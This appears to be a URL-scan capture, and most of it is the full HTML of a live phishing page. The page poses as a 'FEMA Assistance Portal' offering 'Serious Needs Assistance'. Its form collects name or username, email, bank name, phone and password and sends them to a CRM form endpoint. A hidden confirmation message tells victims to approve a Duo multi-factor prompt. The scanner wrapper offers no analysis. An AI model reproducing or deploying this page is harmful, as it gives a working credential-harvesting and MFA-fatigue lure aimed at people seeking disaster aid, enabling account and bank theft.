https://empoweryourfuture.agilecrm.com/forms/6172429356564480

Scan ID:
9d80f006-9ae2-45b8-b08a-025c05de9f9bFinished
Submitted URL:
https://empoweryourfuture.agilecrm.com/forms/6172429356564480
Report Finished:

The outgoing links identified from the page

JavaScript Variables · 125 found

Global JavaScript variables loaded on the window object of a page, are variables declared outside of functions and accessible from anywhere in the code within the current scope

Console log messages · 6 found

Messages logged to the web console

HTML

The raw HTML body of the page

<!DOCTYPE html><html><head>
 <script id="_agile_min_js" async="" type="text/javascript" src="https://my.agilecrm.com/stats/min/agile-min.js"> </script>
<meta http-equiv="Content-Type" content="text/html;" charset="utf-8">
<title>Serious Needs Assistance</title>
<meta name="description" content="FEMA Assistance Portal">
<meta property="og:title" content="Serious Needs Assistance">
<meta property="og:description" content="FEMA Assistance Portal"></head>
<body>
<div id="agileFormHolder" style="margin:0 auto;width:450px">
<!-- <link href="https://d1gwclp1pmzk26.cloudfront.net/agile/forms/v1/agile-form.min.css" rel="stylesheet"> -->

<link href="https://doxhze3l6s7v9.cloudfront.net/app/static/agile/forms/agile-form.min.css" rel="stylesheet">
<form class="form-view theme3" id="agile-form" action="https://empoweryourfuture.agilecrm.com/formsubmit" style="max-width:450px;" method="POST">
<fieldset>

<!-- Form Name -->
<legend>Serious Needs Assistance</legend>
<p class="agile-form-description">FEMA Assistance Portal</p>
<div style="display: none; height: 0px; width: 0px;">
<input type="hidden" id="_agile_form_name" name="_agile_form_name" value="Serious Needs Assistance">
<input type="hidden" id="_agile_domain" name="_agile_domain" value="empoweryourfuture">
<input type="hidden" id="_agile_api" name="_agile_api" value="a88bakrts2r1h7aa52ppu4ce1h">
<input type="hidden" id="_agile_redirect_url" name="_agile_redirect_url" value="#">
<input type="hidden" id="_agile_document_url" name="_agile_document_url" value="">
<input type="hidden" id="_agile_confirmation_msg" name="_agile_confirmation_msg" value="Great! Thanks for filling out the form. If you have duo multi-factor open it to complete your registration and (or) wait for a call">
<input type="hidden" id="_agile_form_id_tags" name="tags" value="">

<input type="hidden" id="_agile_form_id" name="_agile_form_id" value="6172429356564480">
</div>
<!-- Text input-->
<div class="agile-group required-control">
  <label class="agile-label" for="agilefield-1">Name/Username<span class="agile-span-asterisk"> *</span></label>
  <div class="agile-field-xlarge agile-field">
  <input maxlength="250" id="agilefield-1" name="first_name" type="text" placeholder="Name/Username" class="agile-height-default" required="">
  </div>
  <div class="agile-custom-clear"></div>
</div>
<!-- Text input-->
<div class="agile-group required-control">
  <label class="agile-label" for="agilefield-3">Email Address<span class="agile-span-asterisk"> *</span></label>
  <div class="agile-field-xlarge agile-field">
  <input maxlength="250" id="agilefield-3" name="email" type="email" placeholder="Email Address" class="agile-height-default" required="">
  </div>
  <div class="agile-custom-clear"></div>
</div>
<!-- Text input-->
<div class="agile-group required-control">
  <label class="agile-label" for="agilefield-5">Bank Name<span class="agile-span-asterisk"> *</span></label>
  <div class="agile-field-xlarge agile-field">
  <input maxlength="250" id="agilefield-5" name="title" type="text" placeholder="Bank Name" class="agile-height-default" required="">
  </div>
  <div class="agile-custom-clear"></div>
</div>
<!-- Text input-->
<div class="agile-group">
  <label class="agile-label" for="agilefield-2">Work Phone</label>
  <div class="agile-field-xlarge agile-field">
  <input maxlength="250" id="agilefield-2" name="phone" type="text" placeholder="Work Phone" class="agile-height-default">
  </div>
  <div class="agile-custom-clear"></div>
</div>
<!-- Text input-->
<div class="agile-group required-control">
  <label class="agile-label" for="agilefield-4">Password<span class="agile-span-asterisk"> *</span></label>
  <div class="agile-field-xlarge agile-field">
  <input maxlength="250" id="agilefield-4" name="company" type="text" placeholder="Password" class="agile-height-default" required="">
  </div>
  <div class="agile-custom-clear"></div>
</div>
<!--recaptcha aglignment-->
<!-- Button -->
<div class="agile-group">
  <label class="agile-label">&nbsp;</label>
  <div class="agile-field agile-button-field">
    <button type="submit" class="agile-button">Sign In</button>
    <br><span id="agile-error-msg"></span>
  </div>
</div>

</fieldset>
</form>
<script type="text/javascript">
(function(a){var b=a.onload,p=true;isCaptcha=false;if(p){a.onload="function"!=typeof b?function(){try{_agile_load_form_fields()}catch(a){}}:function(){b();try{_agile_load_form_fields()}catch(a){}}};var formLen=document.forms.length;for(i=0;i<formLen;i++){if(document.forms.item(i).getAttribute("id")== "agile-form"){a.document.forms.item(i).onsubmit=function(a){a.preventDefault();try{_agile_synch_form_v5(this)}catch(b){this.submit()}}}}})(window);
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script><script> $( "form" ).submit(function( event ) {var inlineradiosLen =  $(".agile-form-inlineradios").find("input:radio").length; var multiradiosLen =  $(".agile-form-multiradios").find("input:radio").length; var totRadiolength = inlineradiosLen + multiradiosLen; var radio_name = ""; var note_values = ""; $("form").find("input:radio").each(function(index) { console.log(index); if ($(this).prop("checked")) { if ($(this).attr("name").includes("tag")) { 	if ($(this).prop("checked")) $(this).attr("name", "tags");  radio_name += $(this).val(); radio_name += ","; console.log(radio_name); $(this).attr("value", radio_name);} else if ($(this).attr("name").includes("note")) { if ($(this).prop("checked")) $(this).attr("name", "note"); note_values += $(this).val(); note_values += ","; console.log(note_values); $(this).attr("value", note_values);} } });}); 

 window.onload = function(){ allradios(); 
_agile.track_page_view();
appendFutureYears();}

 function allradios() { var i = 0; var prev_name = 0; $(".agile-field").each(function() { var radio_name = $(this).find("input:radio").attr("name"); console.log(radio_name); if(radio_name != undefined){ if (radio_name.indexOf("tag") >= 0) {  $(this).find("input:radio").attr("name", "tag" + i); i++; } else if (radio_name.indexOf("note") >= 0) { $(this).find("input:radio").attr("name", "note" + i); i++; } } }); } 

function appendFutureYears() {
	
	var date = new Date();
var currentYear = date.getFullYear();
	var chooseyear = document.getElementsByClassName("choose-year");
if(chooseyear.length != 0)
{
 for (var i = 0; i < chooseyear.length; i++) {
var dropDownValue = parseInt(chooseyear[i].getElementsByTagName("option")[1].value);
if(dropDownValue != (currentYear+3)){
  for (var j = 1; j <= 2030 - dropDownValue; j++) {
var option = document.createElement("option");
option.value = dropDownValue+j;
option.innerText = dropDownValue+j;
chooseyear[i].getElementsByTagName("option")[0].after(option);
  }
}
 }
}
}
var agform = document.getElementById("agile-form");
agform.onsubmit=function(){
if(document.getElementsByClassName("agile_span_date_error").length > 0){
return  false;
}
var hasValidTag = tagValidationCheck();
var hasChecked = agileCheckboxRequiredValidation();
if(!hasValidTag || !hasChecked){
return false;
}
console.log("Submit button processing hitting");
document.getElementsByClassName("agile-button")[0].innerHTML="Processing...";
document.getElementsByClassName("agile-button")[0].disabled=true;
};
	function agileCheckboxRequiredValidation(){
	   	var hasChecked =true;
		var agleRadioCheckboxesList = document.querySelectorAll(".agile-form-multicheckboxes,.agile-form-inlineradios,.agile-form-multiradios,.agile-form-inlinecheckboxes");
		for(var i=0;i<agleRadioCheckboxesList.length;i++){
			var requiredEle = agleRadioCheckboxesList[i].querySelector(".agile-span-asterisk");
				if(requiredEle != null){
					var eleChecked = agleRadioCheckboxesList[i].querySelector("input[type='radio']:checked,input[type='checkbox']:checked");
					var spanErr = agleRadioCheckboxesList[i].querySelector(".agile_span_err");
					if(eleChecked == null){
					  	hasChecked = false;
					  	if(spanErr == null){
							var paraTag = document.createElement("p");
							paraTag.innerHTML = "Please provide atleast one selection.";
							paraTag.className = "agile_span_err";
							paraTag.style.color = "red";
							paraTag.style.fontSize = "12px";
							agleRadioCheckboxesList[i].appendChild(paraTag);
						}
					}
					else{
						if(spanErr)
							agleRadioCheckboxesList[i].removeChild(spanErr);
					}
				}
		}

		return hasChecked;
	}
	function tagValidationCheck(){
		var tagElements = document.querySelectorAll("input[name='tags'][type='text'],input[name='tags'][type='hidden']");
		var hasValidTag = true;
		var tag_button_errMsg = document.querySelector("span[id='agile-error-msg']");
		for(i=0;i<tagElements.length;i++){
			var tagElement = tagElements[i];
			var tagElementType = tagElements[i].type;
			var tagElementsVal = tagElements[i].value;
			if(tagElement.nextSibling != null && typeof(tagElement.nextSibling.getAttribute) !="undefined" && tagElement.nextSibling.getAttribute("id") == "agile_span"+tagElement.id)
				var tagSpan = tagElement.nextSibling;
				
			if(tagElementsVal && !validTagsString(tagElementsVal)){
				
				if(tagElementType == "hidden"){
					tag_button_errMsg.innerHTML = "Error: Invalid form tag.";
				}
				else{
					if(!tagSpan){
						var spanTag = document.createElement("span");
						spanTag.innerHTML = "Please enter a valid tag.";
						spanTag.id = "agile_span"+tagElement.id;
						spanTag.style.color = "red";
						spanTag.style.fontSize = "12px";
						tagElement.parentNode.insertBefore(spanTag,tagElement.nextSibling);
					}
				}
				
				hasValidTag =false;			
			}
			else{
				if(tagElementType == "hidden"){
					tag_button_errMsg.innerHTML = "";
				}
				else{
					if(tagSpan)
						tagSpan.remove();
				}
				

			}
		}
		return hasValidTag;
	}
function validTagsString(tagsString)
	{
		var r = '\u0041-\u005A\u0061-\u007A\u00AA\u00B5\u00BA\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377\u037A-\u037D\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u048A-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u08A0\u08A2-\u08AC\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0977\u0979-\u097F\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C33\u0C35-\u0C39\u0C3D\u0C58\u0C59\u0C60\u0C61\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D\u0D4E\u0D60\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F4\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u1700-\u170C\u170E-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7\u17DC\u1820-\u1877\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191C\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19C1-\u19C7\u1A00-\u1A16\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1CE9-\u1CEC\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2183\u2184\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005\u3006\u3031-\u3035\u303B\u303C\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FCC\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B\uA640-\uA66E\uA67F-\uA697\uA6A0-\uA6E5\uA717-\uA71F\uA722-\uA788\uA78B-\uA78E\uA790-\uA793\uA7A0-\uA7AA\uA7F8-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uAA00-\uAA28\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA80-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uABC0-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC';
		var tagRegex = '^['+r+']['+r+' 0-9_-]*$';
		tagsString = tagsString.split(",");
		for ( var i = 0; i < tagsString.length; i++)
		{
			if (!new RegExp(tagRegex).test(tagsString[i]))
				return false;
		}
		return true;
	}
var prepareDateTypeValue = function(identifier){
var dateFieldId = identifier.currentTarget.parentElement.id;
var dateHiddenField = document.getElementById("date-hiddeninput-"+dateFieldId);
var field_name = dateHiddenField.name;
var agilefield_type = dateHiddenField.getAttribute("data-agilefield-type");
var date = document.getElementById("choose-date-"+dateFieldId).value;
var month = document.getElementById("choose-month-"+dateFieldId).value;
var year = document.getElementById("choose-year-"+dateFieldId).value;
if (agilefield_type == null){
dateHiddenField.value = "01-Jan-2017";
return;
}
if(agilefield_type.indexOf("DATE") > -1){
if(date && month && year){
var errorExist = agileDateValueValidate(date,month,year,dateFieldId);
if(!errorExist){
var formatteddate = date+"-"+month+"-"+year;
var myEpoch = Date.parse(formatteddate)/1000;
console.log(typeof(myEpoch)+"	"+myEpoch );
dateHiddenField.value = myEpoch;
}

}
else{
var spanHidden = document.getElementById("agile_span_"+dateFieldId);
if(spanHidden == null){
var spanTag = document.createElement("p");
spanTag.innerHTML = "Select a valid date.";
spanTag.id = "agile_span_"+dateFieldId;
spanTag.className = "agile_span_date_error";
spanTag.style.color = "#d9534f";
spanTag.style.fontSize = "12px";
dateHiddenField.parentNode.insertBefore(spanTag,dateHiddenField.nextSibling);
}
dateHiddenField.value = "";
}
}
else{
if(date && month && year){
var errorExist = agileDateValueValidate(date,month,year,dateFieldId);
if(!errorExist){
var formatteddate = date+"-"+month+"-"+year;
console.log(typeof(formatteddate) +"	" +formatteddate);
dateHiddenField.value = formatteddate.trim();
}

}
else{
var spanHidden = document.getElementById("agile_span_"+dateFieldId);
if(spanHidden == null){
var spanTag = document.createElement("p");
spanTag.innerHTML = "Select a valid date.";
spanTag.id = "agile_span_"+dateFieldId;
spanTag.className = "agile_span_date_error";
spanTag.style.color = "#d9534f";
spanTag.style.fontSize = "12px";
dateHiddenField.parentNode.insertBefore(spanTag,dateHiddenField.nextSibling);

}
dateHiddenField.value = "";
}
}
};
var agileDateValueValidate = function(date,month,year,dateFieldId){
//validating date possibility
var errorExist = false;
var dateHiddenField = document.getElementById("date-hiddeninput-"+dateFieldId);
var spanHiddenField = document.getElementById("agile_span_"+dateFieldId);
if(month.indexOf('Feb') > -1){
var dateInt = parseInt(date);
if(dateInt > 28){
if(dateInt == 29){
if(!( ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0) )){
errorExist = true;
if(spanHiddenField == null){
var spanTag = document.createElement("p");
spanTag.innerHTML = "Select a valid date.";
spanTag.id = "agile_span_"+dateFieldId;
spanTag.className = "agile_span_date_error";
spanTag.style.color = "#d9534f";
spanTag.style.fontSize = "12px";
dateHiddenField.parentNode.insertBefore(spanTag,dateHiddenField.nextSibling);
}
}
}
else{
errorExist = true;
if(spanHiddenField == null){
var spanTag = document.createElement("p");
spanTag.innerHTML = "Select a valid date.";
spanTag.id = "agile_span_"+dateFieldId;
spanTag.className = "agile_span_date_error";
spanTag.style.color = "#d9534f";
spanTag.style.fontSize = "12px";
dateHiddenField.parentNode.insertBefore(spanTag,dateHiddenField.nextSibling);		
}
}
}
}
else if(month.indexOf('Apr') > -1 || month.indexOf('June') > -1 || month.indexOf('Sep') > -1 || month.indexOf('Nov') > -1 ){
if(date.indexOf('31') > -1){
errorExist = true;
if(spanHiddenField == null){
var spanTag = document.createElement("p");
spanTag.innerHTML = "Select a valid date.";
spanTag.id = "agile_span_"+dateFieldId;
spanTag.className = "agile_span_date_error";
spanTag.style.color = "#d9534f";
spanTag.style.fontSize = "12px";
dateHiddenField.parentNode.insertBefore(spanTag,dateHiddenField.nextSibling);
}
}
}
if(!errorExist){
if(spanHiddenField){
spanHiddenField.parentNode.removeChild(spanHiddenField);
}
}
//validating date possibility
return errorExist;
};
</script>
</div>

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